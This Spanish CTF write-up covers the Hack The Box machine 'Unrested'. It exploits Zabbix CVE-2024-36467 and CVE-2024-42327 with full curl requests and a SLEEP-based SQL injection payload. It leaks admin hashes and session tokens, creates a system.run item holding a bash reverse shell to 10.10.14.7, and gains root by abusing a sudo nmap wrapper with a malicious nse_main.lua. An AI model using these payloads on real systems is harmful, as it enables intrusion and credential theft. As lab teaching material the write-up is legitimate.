Unrested

Dificultad: Medium - OS: Linux

¯\_( ͡° ͜ʖ ͡°)_/¯ Machine info

Unrested es una máquina de dificultad media que presenta un entorno realista con Zabbix expuesto públicamente. Durante la fase de enumeración, se detecta que la versión instalada del sistema de monitoreo Zabbix es vulnerable a dos fallos de seguridad recientes: CVE-2024-36467 y CVE-2024-42327.

  • CVE-2024-36467 es una vulnerabilidad causada por la falta de controles de acceso adecuados en la función user.update dentro de la clase CUser. Esta falla permite que un atacante autenticado, incluso con privilegios mínimos, pueda modificar información de cualquier usuario del sistema, lo que puede incluir la elevación de privilegios mediante la modificación de cuentas con mayores permisos.

  • CVE-2024-42327, por otro lado, es una inyección SQL en la función user.get, también perteneciente a la clase CUser, la cual puede ser explotada por un atacante autenticado para ejecutar consultas SQL arbitrarias sobre la base de datos de Zabbix. Esto permite obtener credenciales de usuarios, acceder a información sensible del sistema o incluso manipular la autenticación del mismo para escalar privilegios.

A través de estas vulnerabilidades, se logra obtener acceso como un usuario del sistema. Posteriormente, la enumeración local revela una configuración insegura de sudo que permite al usuario zabbix ejecutar /usr/bin/nmap con privilegios elevados (sudo -l). Esta herramienta, aunque es una dependencia opcional en algunos entornos de Zabbix, puede ser aprovechada para obtener una shell con permisos de root mediante la técnica de ejecución interactiva con el parámetro --interactive, lo cual completa la escalada de privilegios y compromete completamente el sistema.

Enumeración de puertos/servicios

┌──(root㉿kali)-[/home/kali]
└─# nmap -sCV --open -p- -T4 -v -n 10.10.11.50
📌Parámetros
  • -sCV:

    • -sCEjecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.

    • -sVDetección de versiones → Intenta identificar el software y su versión en los puertos abiertos.

  • -nNo resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --openMuestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -p- → Escanea los 65.535 puertos

  • -T4Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.

  • -vModo verbose → Muestra más detalles sobre el progreso del escaneo.

Resultado:

PORT      STATE SERVICE             VERSION
22/tcp    open  ssh                 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http                Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
10050/tcp open  tcpwrapped
10051/tcp open  ssl/zabbix-trapper?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

En síntesis:

Puerto	  | Estado | Servicio	             | Protocolo
22/tcp	  | open   | ssh (OpenSSH 8.9p1)     | TCP
80/tcp	  | open   | http (Apache 2.4.52)    | TCP
10050/tcp | open   | tcpwrapped	             | TCP
10051/tcp | open   | ssl/zabbix-trapper?     | TCP

Reconocimiento de Aplicación Web

Si nos vamos al puerto 80 nos vamos a encontrar con un panel de login de Zabbix

¿Qué es Zabbix?

Zabbix es una solución de monitorización empresarial de código abierto, diseñada para supervisar el estado y el rendimiento de servidores, dispositivos de red, aplicaciones, servicios y otros recursos de TI en tiempo real

Zabbix: Plataforma de Monitoreo Abierto para Infraestructuras Críticas

En el menú de la máquina en HTB nos van a facilitar unas credenciales para poder ingresar al dashboard de Zabbix:

"Machine Information
As is common in real life pentests, you will start the Unrested box with 
credentials for the following account on Zabbix: matthew / 96qzn0h2e1k3"

Una vez que tenemos acceso al dashboard vamos a ver la siguiente información clave para continuar con este pentesting

Identificación de Vulnerabilidades

Vemos que la versión de este Zabbix es la 7.0.0 y si buscamos algún CVE que afecte a esta versión nos vamos a encontrar con el siguiente.

📌 CVE-2024-36467

CVE-2024-36467 es una vulnerabilidad de control de acceso mal implementado en Zabbix. Esta falla afecta a la API de Zabbix, que es una especie de “puerta trasera legítima” que permite a usuarios autenticados realizar acciones automatizadas sobre el sistema.

El problema se encuentra en el comportamiento de la función user.update, la cual debería estar limitada para evitar que usuarios con pocos privilegios realicen cambios importantes. Sin embargo, esta vulnerabilidad permite que cualquier usuario autenticado, con acceso a la API, modifique sus propios grupos de usuario, lo que puede dar lugar a una escalada de privilegios.

¿Cómo se abusa esta vulnerabilidad?

  1. Acceso legítimo a la API: Un atacante necesita primero iniciar sesión en Zabbix como un usuario común (por ejemplo, un operador o usuario de solo lectura, en nuestro caso con el usuario matthew). Si puede generar un token de API, ya está en condiciones de aprovechar la falla.

  2. Conocimiento de la API: A diferencia de la interfaz web tradicional, la API de Zabbix permite ejecutar acciones más avanzadas, como crear o modificar objetos del sistema (usuarios, hosts, alertas, etc.).

  3. El punto vulnerable: user.update Esta función dentro de la API permite cambiar detalles del usuario, como su nombre, clave o los grupos a los que pertenece. La vulnerabilidad está en que no verifica correctamente si el usuario tiene permisos para agregarse a grupos más privilegiados.

  4. Escalada de privilegios: Si el atacante se agrega a un grupo con permisos elevados, como Zabbix Administrators, automáticamente gana acceso a configuraciones críticas del sistema, usuarios, credenciales, y a la ejecución de comandos, comprometiendo por completo la seguridad de la plataforma.

Como bien nos indica el CVE lo primero que debemos obtener es el token de API del usuario matthew para luego poder aprovechar la falla de la función user.update. Para obtener un token permanente y evitar problemas como 'data': 'Session terminated, re-login, please.' la mejor opción es solicitarlo desde el frontend de la siguiente forma: User settings > API tokens > Create API token > Add (dejamos marcada la casilla "Enabled" y desmarcamos la casilla "Set expiration date and time")

Explotación de la API de Zabbix y Análisis Estático del Código Fuente

Nota: la API que vamos a usar durante todo el CTF es api_jsonrpc.php que esta detallada en el manual de Zabbix https://www.zabbix.com/documentation/current/en/manual/api

Próximo paso obtener nuestro ID de usuario usando el token en el siguiente comando:

Request:

┌──(root㉿kali)-[/home/kali/Desktop]
└─# curl --request POST \
  --url http://10.10.11.50/zabbix/api_jsonrpc.php \
  --header 'Content-Type: application/json-rpc' \
  --data '{
    "jsonrpc": "2.0",
    "method": "user.checkAuthentication",
    "params": {
      "token": "4c8b96eb996ed4fccb2f92a5e563bc8f9db1701d9de5b9b452599e326a465d39"  
    },     
    "id": 1
  }'
📌 Desglose del comando

Lo que estamos haciendo acá es una petición POST a la API de Zabbix, específicamente a http://10.10.11.50/zabbix/api_jsonrpc.php, con el método user.checkAuthentication.

Este método sirve para verificar si un token de sesión es válido y, si lo es, devuelve información del usuario autenticado.

Elementos clave del comando:

  • --request POST: Especifica que se trata de una petición POST.

  • --url http://10.10.11.50/zabbix/api_jsonrpc.php: Indica la URL a la que se envía la solicitud.

  • --header 'Content-Type: application/json-rpc': Define que el contenido será JSON-RPC, el protocolo que usa la API de Zabbix.

  • --data '{...}': Este bloque contiene los datos JSON a enviar.

Response:

{
  "jsonrpc": "2.0",
  "result": {
    "userid": "3",
    "username": "matthew",
    "name": "Matthew",
    "surname": "Smith",
    "url": "",
    "autologin": "1",
    "autologout": "0",
    "lang": "en_US",
    "refresh": "30s",
    "theme": "default",
    "attempt_failed": "0",
    "attempt_ip": "",
    "attempt_clock": "0",
    "rows_per_page": "50",
    "timezone": "system",
    "roleid": "1",
    "userdirectoryid": "0",
    "ts_provisioned": "0",
    "debug_mode": 0,
    "deprovisioned": false,
    "gui_access": 0,
    "mfaid": 0,
    "auth_type": 0,
    "type": 1,
    "userip": "10.10.14.7"
  },
  "id": 1
}

A continuación podemos probar dos formas de escalar privilegios con nuestro usuario: una es cambiando el usrid:3 de matthew al usrid:¿? de administrador y la otra es agregando a matthew al grupo de administradores con usrgrps

La primer opción no es válida porque existe una función llamada checkHimself() que bloquea cualquier intento que un usuario haga para cambiar su roleid. Este bloqueo aparece con el siguiente mensaje "User cannot change own role." , sin embargo si nos permite cambiar de grupo. Antes continuar con el segundo método hay que comprender lo que hacen las siguientes funciones de Zabbix:

Si seguimos indagando en la documentación pública de Zabbix vamos a encontrar un repositorio en Github (https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php#L358) con el CUser.php file y en la linea 358 se encuentra la función user.update que hace lo siguiente:

📌user.update
public function update(array $users) {
    $this->validateUpdate($users, $db_users);
    self::updateForce($users, $db_users);
    return ['userids' => array_column($users, 'userid')];
}
  • public function update(array $users) Esta es una función pública llamada update, que recibe un array de usuarios ($users). Este array tendrá objetos con info como userid, roleid, etc.

  • $this->validateUpdate($users, $db_users); Llama a una función interna llamada validateUpdate, que:

    • Valida que los datos de $users estén bien formados.

    • Busca en la base de datos los usuarios que se quieren actualizar y los guarda en $db_users.

  • self::updateForce($users, $db_users); Llama a otra función que probablemente hace la actualización real en la base de datos con los datos nuevos.

  • return ['userids' => array_column($users, 'userid')]; Devuelve un array con solo los userids que fueron actualizados. Por ejemplo, si actualizás el usuario con ID 3, te va a devolver:

    { "userids": ["3"] }
📌checkHimself()
if (array_key_exists('roleid', $user) && $user['roleid'] != self::$userData['roleid']) {
    self::exception(ZBX_API_ERROR_PARAMETERS, _('User cannot change own role.'));
}

Esta línea comprueba si el usuario está intentando cambiar su propio roleid. Si el ID de usuario del objeto ($user['userid']) coincide con el que está logueado (self::$userData['userid']) y además quiere cambiar el roleid, entonces lanza una excepción con el mensaje exacto que viste:

"User cannot change own role."

Si querés cambiar el roleid de un usuario, tenés que hacerlo desde otra cuenta que tenga permisos suficientes y que no sea ese mismo usuario.

Explotación de CVE-2024-36467 – Missing Access Control

El segundo método es añadir a nuestro usuario mattehw al grupo de administradores usando la función usrgrps. Esta función no tiene ninguna validación y, por lo tanto, se puede usar para agregarnos a varios grupos a la vez. Siempre que el grupo no esté deshabilitado y permita el acceso a la interfaz gráfica, podemos aprovecharnos de esto para cambiar nuestro rol actual. Los IDs de los grupos administradores también están filtrados en la documentación oficial de Zabbix

Request:

curl --request POST \
  --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{
    "jsonrpc": "2.0",
    "method": "user.update",
    "params": {
      "userid": "3",
      "usrgrps": [
        {"usrgrpid": "13"},
        {"usrgrpid": "7"}
      ]
    },
    "auth": "4c8b96eb996ed4fccb2f92a5e563bc8f9db1701d9de5b9b452599e326a465d39",
    "id": 1
}'
📌 Desglose del comando
  • method: "user.update" → está actualizando información de un usuario.

  • "userid": "3" → se refiere al ID del usuario que queremos modificar.

  • "usrgrps" → es una lista de grupos a los que estamos agregando a nuestro usuario matthew.

  • "auth" → donde añadimos el token de matthew.

Response:

{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1} 

Una vez que ya nos añadimos a los grupos 7 y 13 del servidor vamos a intentar listar la información de todos los usuarios de esta forma sabremos si logramos elevar nuestros privilegios

Request:

┌──(root㉿kali)-[/home/kali]
└─# curl --request POST \
  --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{
    "jsonrpc": "2.0",
    "method": "user.get",
    "params": {
      "output": ["userid"],
      "selectUsrgrps": ["usrgrpid", "name"],
      "filter": {
        "alias": "matthew"
      }
    },
    "auth": "4c8b96eb996ed4fccb2f92a5e563bc8f9db1701d9de5b9b452599e326a465d39",
    "id": 1
  }'  

Response:

{"jsonrpc":"2.0","result":[{"userid":"1","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]},{"userid":"2","usrgrps":
[{"usrgrpid":"13","name":"Internal"}]},{"userid":"3","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]}],"id":1}  
📌 Desglose del comando

"method": "user.get" → método de la API para obtener información de usuarios.

"params.output" → qué campos retornar (en este caso solo "userid").

"selectUsrgrps" → información adicional de los grupos del usuario (IDs y nombres).

"filter" → filtro para buscar un usuario específico: alias = matthew.

"auth" → token de autenticación.

"id" → ID de la petición.

Output ordenado en multilinea

{
  "jsonrpc": "2.0",
  "result": [
    {
      "userid": "1",
      "usrgrps": [
        {
          "usrgrpid": "7",
          "name": "Zabbix administrators"
        },
        {
          "usrgrpid": "13",
          "name": "Internal"
        }
      ]
    },
    {
      "userid": "2",
      "usrgrps": [
        {
          "usrgrpid": "13",
          "name": "Internal"
        }
      ]
    },
    {
      "userid": "3",
      "usrgrps": [
        {
          "usrgrpid": "7",
          "name": "Zabbix administrators"
        },
        {
          "usrgrpid": "13",
          "name": "Internal"
        }
      ]
    }
  ],
  "id": 1
}
📌¿Porque la función checkHimself() sí nos dejó cambiar de grupo?

Aquí solo te bloquea si te estás agregando a un grupo que está deshabilitado o tiene deshabilitado el acceso GUI.

⚠️ Pero si el grupo está activo y con GUI habilitada, no hay nada que impida que nos agreguemos a ese grupo, incluso si ese grupo es de administradores.

¿Entonces por qué se puede esto?

  1. Cambiar tu propio roleid afecta directamente tu perfil de permisos a nivel profundo (visibilidad, control total, acceso API completo, etc.), y puede otorgarte privilegios indebidos de manera inmediata.

  2. Cambiar usrgrps te agrega a un grupo que puede tener permisos elevados, pero los permisos grupales se aplican de forma más indirecta y están sujetos a otras condiciones (como políticas de ACL, GUI, etc.).

Zabbix considera que cambiar el roleid es más crítico y debe ser gestionado por otro usuario con más privilegios (como un admin). Pero agregarse a un grupo con permisos puede ser parte de un flujo de aprobación más amplio, o incluso algo intencionado en entornos más abiertos.

Hasta aquí la primera etapa que está relacionada con el CVE-2024-3646, ahora vamos a continuar con la segunda etapa que corresponde al CVE-2024-42327:

Explotación de CVE-2024-42327 – Inyección SQL

Este CVE describe una vulnerabilidad de inyección SQL en Zabbix (específicamente en la función user.get del backend PHP). El problema está en que, bajo ciertas condiciones, un usuario sin privilegios suficientes puede manipular directamente una consulta SQL si se establece la opción selectRole. Primero analicemos las siguientes líneas del código fuente de la clase CUser para comprender mejor porqué existe esta vulnerabilidad (Zabbix CUser.php):

🔍 Verificación de permisos (líneas 108 - 116)
// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
    if (!$options['editable']) {
        $sqlParts['from']['users_groups'] = 'users_groups ug';
        $sqlParts['where']['uug'] = 'u.userid=ug.userid';
        $sqlParts['where'][] = 'ug.usrgrpid IN ('.
            ' SELECT uug.usrgrpid'.
            ' FROM users_groups uug'.
            ' WHERE uug.userid='.self::$userData['userid'].
        ')';
    }
    else {
        $sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
    }
}

¿Qué hace esto?

Este bloque define cómo se filtra la información que devuelve user.get, dependiendo de quién hace la petición y qué opciones manda.

Línea por línea:

  • if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) ➜ Si el usuario NO es un Super Admin, aplican controles adicionales.

  • if (!$options['editable']) ➜ Si NO se pasó editable: 1, entonces:

    • Se unen las tablas users y users_groups (ug).

    • Sólo se devuelven usuarios que comparten grupo con el que hace la solicitud.

  • else { $sqlParts['where'][] = 'u.userid='.self::$userData['userid']; } ➜ Pero si sí se pasó editable: 1, entonces solo devuelve info del propio usuario (u.userid = el mío).

¿Por qué esto es importante?

Porque al usar "editable": 1 en el user.get, estás evitando el filtro de grupos y forzamos a que se devuelvan datos solo del usuario actual, sin restricciones de grupo.

Este bypass habilita la ejecución del código vulnerable más adelante. Si no usamos "editable": 1, ni siquiera llegaríamos a la parte peligrosa.

🔍 Llamada vulnerable: addRelatedObjects() (línea 234)
if ($result) {
    $result = $this->addRelatedObjects($options, $result);
}

¿Qué hace esto?

Después de obtener los datos base (usuarios), esta función agrega información adicional relacionada, como roles, permisos, etc.

Es como decir: “Traeme el usuario y también todo lo relacionado a él”.

⚠ ¿Por qué esto es peligroso?

Porque si pasás ciertos parámetros como selectRole, la función va a intentar obtener esa relación (usuario ➜ rol) armando dinámicamente una consulta SQL con los valores que mandaste.

🔍 Bloque vulnerable dentro de addRelatedObjects() (línea 3041)
if ($options['selectRole'] !== null && $options['selectRole'] !== API_OUTPUT_COUNT) {
    if ($options['selectRole'] === API_OUTPUT_EXTEND) {
        $options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
    }

    $db_roles = DBselect(
        'SELECT u.userid' .
        ($options['selectRole'] ? ',r.' . implode(',r.', $options['selectRole']) : '') .
        ' FROM users u,role r' .
        ' WHERE u.roleid=r.roleid' .
        ' AND ' . dbConditionInt('u.userid', $userIds)
    );
    ...
}

¿Qué hace esto?

  1. Verifica si se pidió selectRole.

  2. Construye una consulta SQL usando implode() con los valores de selectRole.

  3. Ejecuta ésa consulta.

¿Por qué es vulnerable?

Esta función implode(',r.', $options['selectRole']) pega directamente lo que envíes como contenido del array selectRole dentro del SQL, sin sanitizar.

Entonces se podria inyectar algo como: "selectRole": ["roleid", "name AND (SELECT SLEEP(5))"]

Esto en la base de datos se traduciria como:

SELECT u.userid, r.roleid, r.name AND (SELECT SLEEP(5))
FROM users u, role r
WHERE u.roleid=r.roleid

Con este análisis ahora vamos a poner en práctica un ataque que se clasifica como Time-based and Blind Boolean-based SQL injections:

📌Time-based and Blind Boolean-based SQL injections

Una SQL Injection ciega ocurre cuando:

  • La aplicación es vulnerable a inyecciones SQL.

  • NO muestra los resultados de la consulta directamente (por ejemplo, no ves un error ni una tabla).

  • Pero aún podés inferir información según cómo responde la app (por el tiempo que tarda o por un valor booleano).

En resumen: no ves la respuesta, pero la podés deducir.

Tipos de Blind SQLi

1. Boolean-Based Blind SQLi

La respuesta cambia dependiendo si la condición es verdadera o falsa.

Ejemplo de payload:

' AND 1=1 -- → la página carga normal.

' AND 1=2 -- → la página carga diferente (error, lista vacía, 403, etc).

Así podés hacer preguntas tipo ¿el primer carácter del nombre del usuario es A?”

  • Si es TRUE: el comportamiento cambia (te da un resultado).

  • Si es FALSE: se comporta diferente.

🔍 Esto nos permite reconstruir datos carácter por carácter con muchas solicitudes.

2. Time-Based Blind SQLi

Este método se usa cuando:

  • La app no cambia visualmente para TRUE o FALSE.

  • Pero podés hacer que se “duerma” si una condición es verdadera.

Ejemplo de payload:

' AND IF(SUBSTR((SELECT user()), 1, 1) = 'r', SLEEP(5), 0) --

Lo que estamos intentado acá es decir, si el primer carácter del nombre de usuario es r, sleep 5 segundos. Si no, no hagas nada."

Entonces, si tarda 5 segundos, sabemos que la condición es verdadera. Si responde rápido, es falsa.

De nuevo, podemos reconstruir datos letra por letra, pero ahora basado en el tiempo de respuesta.

📌 ¿Por qué se usan en escenarios reales?

Porque muchas aplicaciones web filtran los errores de SQL o no muestran directamente la información. Pero:

  • Igual construyen consultas SQL vulnerables.

  • Y siguen siendo explotables desde un canal lateral (como tiempo o comportamiento booleano).

En este caso, Zabbix no muestra un error SQL directo, pero el tiempo de respuesta sí cambia si la consulta fue manipulada exitosamente (por eso usamos SLEEP(5)). Sería como un error indirecto

Primero vamos a testear esta vuln con la siguiente request:

┌──(root㉿kali)-[/home/kali/Documents/HTB/UNRESTED]
└─# time curl --request POST \
  --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json' \
  --data '{
    "jsonrpc": "2.0",
    "method": "user.get",
    "params": {
      "output": ["userid", "username"],
      "selectRole": [
        "roleid",
        "name AND (SELECT 1 FROM (SELECT SLEEP(5))A)"
      ],
      "editable": 1
    },
    "auth": "4c8b96eb996ed4fccb2f92a5e563bc8f9db1701d9de5b9b452599e326a465d39",
    "id": 1
  }'
📌 Desglose del comando
  • time: mide cuánto tarda en ejecutarse el curl.

  • curl --request POST: hace una solicitud POST.

  • --url 'http://10.10.11.50/zabbix/api_jsonrpc.php': apunta a la API de Zabbix.

  • --header 'Content-Type: application/json': define que el contenido del cuerpo es JSON.

  • --data '...': envía el cuerpo con una inyección SQL en el campo selectRole.

La carga malisiosa en cuestion es la siguiente parte

"selectRole": [
  "roleid",
  "name AND (SELECT 1 FROM (SELECT SLEEP(5))A)"
]

Response:

{"jsonrpc":"2.0","result":[{"userid":"3","username":"matthew",
"role":{"roleid":"1","r.name AND (SELECT 1 FROM (SELECT SLEEP(5))A)":"0"}}],"id":1}
real    5.48s
user    0.01s
sys     0.00s
cpu     0%

Esto ya nos confirma que la vulnerabilidad Time-based and Blind Boolean-based SQL injections si funciona. El siguiente paso es aprovechar esta vuln para extraer el token del usuario administrador. Como este procedimiento lleva mucho tiempo si lo hacemos de forma manual, lo que vamos a usar es este script que ya automatiza el ataque y se encarga de extraer el token del admin:

Link al repo CVE-2024-42327_Zabbix_SQLI

Nota: para que el script funcione debemos reemplazar el usrid por editable dentro del codigo

Original:

Editado:

Ahora sí podemos extraer el token del admin (cuyo usrid es el 1)

┌──(root㉿kali)-[/home/kali/Documents/HTB/UNRESTED]
└─# python3 CVE-2024-42327_Zabbix_SQLI.py -u http://10.10.11.50/zabbix/ -U matthew -P 96qzn0h2e1k3

[*] - Using http://10.10.11.50/zabbix/api_jsonrpc.php for API.

[*] - Authenticating with username: "matthew" and password "96qzn0h2e1k3"
[+] - Authentication Success!

[*] - Getting user details
{'userid': '1', 'username': 'Admin', 'role': {'type': '3', 'roleid': '3', 'name': 'Super admin role', 'readonly': '1'}}
{'userid': '2', 'username': 'guest', 'role': {'type': '1', 'roleid': '4', 'name': 'Guest role', 'readonly': '0'}}
{'userid': '3', 'username': 'matthew', 'role': {'type': '1', 'roleid': '1', 'name': 'User role', 'readonly': '0'}}

[*] - Using SQL Injection to leak user credentials
userid: 1, username: Admin, password: $2y$10$L8UqvYPqu6d7c8NeChnxWe1.w6ycyBERr8UgeUYh.3AO7ps3zer2a, roleid: 3
userid: 2, username: guest, password: $2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06, roleid: 4
userid: 3, username: matthew, password: $2y$10$e2IsM6YkVvyLX43W5CVhxeA46ChWOUNRzSdIyVzKhRTK00eGq4SwS, roleid: 1

[*] - Leaking Session Tokens for API use
userid: 1, sessionid: f2391f997ce3b2cea887f565fbe172cd
userid: 3, sessionid: cbb66cd57e0d0e9895c438066f66a505

Obtención de RCE vía API con sesión de Admin

Con el token del administrador vamos a poder realizar consultas al servidor y extraer la información necesaria para crear nuestra reverse shell:

Request:

┌──(root㉿kali)-[/home/kali/Documents/HTB/UNRESTED]
└─# curl --request POST \
  --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{
    "jsonrpc": "2.0",
    "method": "host.get",
    "params": {
      "output": ["hostid", "host"],
      "selectInterfaces": ["interfaceid"]
    },
    "auth": "f2391f997ce3b2cea887f565fbe172cd",
    "id": 1
}'
📌 Desglose del comando

Este comando envía una petición JSON-RPC a la API de Zabbix para obtener información sobre los hosts registrados.

  • method: "host.get" → para pedirle a la API que traiga información sobre los hosts.

  • "output": ["hostid", "host"] → acá le indicamos que solo queremos que devuelva el hostid y el nombre del host.

  • "selectInterfaces": ["interfaceid"] → para que nos muestre los ID de las interfaces de red asociadas a esos hosts.

  • "auth": "a33c104db62d09205a7bfe37dd2ce8e1" → este es el token de autenticación del administrador que obtuvimos con el script

Response:

{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix server",
"interfaces":[{"interfaceid":"1"}]}],"id":1} 

El ID del host y de la interfaz nos va a permitir indicarle al servidor donde crear el objeto que contendrá la reverse shell. Ahora para crear ese objeto vamos a usar el siguiente comando

Request:

┌──(root㉿kali)-[/home/kali/Documents/HTB/UNRESTED]
└─# curl --request POST \
  --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{
    "jsonrpc": "2.0",
    "method": "item.create",
    "params": {
      "name": "rce",
      "key_": "system.run[bash -c '\''bash -i >& /dev/tcp/10.10.14.7/4448 0>&1'\'']",  
      "delay": 1,
      "hostid": "10084",
      "type": 0,
      "value_type": 1,
      "interfaceid": "1"
    },
    "auth": "f2391f997ce3b2cea887f565fbe172cd",
    "id": 1
}'
📌 Desglose del comando
  • method: "item.create" → le indicamos la creación de un item nuevo en Zabbix

  • "name": "rce" → el nombre del item

  • "key_" → el tipo de chequeo que Zabbix va a ejecutar

  • system.run[bash -c 'bash -i >& /dev/tcp/10.10.14.100/4448 0>&1'] → explota la capacidad de Zabbix de ejecutar comandos del sistema si el ítem es de tipo system.run y no hay restricciones de seguridad.

  • "delay": 1 → indica que se ejecute cada 1 segundo

  • "hostid": "10084" → el ID del host al que le estás agregando el ítem. El comando se ejecutará desde esa máquina.

  • "interfaceid": "1" → ID de la interfaz de red asociada al host.

  • "auth": "f2391f997ce3b2cea887f565fbe172cd" → token del admin

Response: (Significa que el ítem fue creado correctamente y su ID es 47184.)

{"jsonrpc":"2.0","result":{"itemids":["47184"]},"id":1} 

Al mismo tiempo que creamos el objeto que contiene nuestra reverse shell, vamos a levantar un listener con netcat que reciba la conexión entrante. Para la escalada de privilegios vamos a usar Nmap con scripts NSE (Nmap Scripting Engine) siguiendo estos pasos:

  1. Verificamos permisos con sudo -l y vamos a ver que zabbix puede ejecutar /usr/bin/nmap como root sin necesidad de contraseña y con cualquier parámetro.

  2. Inspeccionamos el binario /usr/bin/nmap y vemos que no es el binario real, sino un wrapper Bash que intenta limitar funcionalidades peligrosas del Nmap.

  3. Vemos que aunque --script está bloqueado, el wrapper no restringe el uso de -sC (equivalente a --script=default) ni de --datadir, que permite indicar desde dónde cargar los scripts NSE.

    Entonces, aprovechamos esto para crear un archivo malicioso en /tmp/nse_main.lua con el siguiente contenido → echo 'os.execute("/bin/bash -p")' > /tmp/nse_main.lua

  4. Por ultimo debemos ejecutar nmap con sudo para cargar el script malicioso. El parámetro -sC carga scripts por defecto, y al redirigir --datadir=/tmp, se fuerza a Nmap a leer los scripts desde /tmp, donde está el archivo malicioso.

    Nmap lo ejecuta como root, y al correr os.execute("/bin/bash -p"), se invoca una shell con privilegios.

Escalada de Privilegios – Abuso de Sudo y Nmap

┌──(root㉿kali)-[/home/kali/Documents/HTB/UNRESTED]
└─# nc -lvvp 4448
listening on [any] 4448 ...
10.10.11.50: inverse host lookup failed: Unknown host
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.50] 58282
bash: cannot set terminal process group (2909): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@unrested:/$ whoami
whoami
zabbix
zabbix@unrested:/$ id
id
uid=114(zabbix) gid=121(zabbix) groups=121(zabbix)
zabbix@unrested:/$ sudo -l
sudo -l
Matching Defaults entries for zabbix on unrested:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User zabbix may run the following commands on unrested:
    (ALL : ALL) NOPASSWD: /usr/bin/nmap *
zabbix@unrested:/$ cat /usr/bin/nmap
cat /usr/bin/nmap
#!/bin/bash

#################################
## Restrictive nmap for Zabbix ##
#################################

# List of restricted options and corresponding error messages
declare -A RESTRICTED_OPTIONS=(
    ["--interactive"]="Interactive mode is disabled for security reasons."
    ["--script"]="Script mode is disabled for security reasons."
    ["-oG"]="Scan outputs in Greppable format are disabled for security reasons."
    ["-iL"]="File input mode is disabled for security reasons."
)

# Check if any restricted options are used
for option in "${!RESTRICTED_OPTIONS[@]}"; do
    if [[ "$*" == *"$option"* ]]; then
        echo "${RESTRICTED_OPTIONS[$option]}"
        exit 1
    fi
done

# Execute the original nmap binary with the provided arguments
exec /usr/bin/nmap.original "$@"
zabbix@unrested:/$ cd /tmp
cd /tmp
zabbix@unrested:/tmp$ echo  'os.execute("/bin/bash -p")' > nse_main.lua
echo  'os.execute("/bin/bash -p")' > nse_main.lua
zabbix@unrested:/tmp$ sudo /usr/bin/nmap -sC --datadir=/tmp
sudo /usr/bin/nmap -sC --datadir=/tmp
Starting Nmap 7.80 ( https://nmap.org ) at 2025-04-22 06:20 UTC
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
a0693***************************
cat /home/matthew/user.txt
fbdfe***************************

Last updated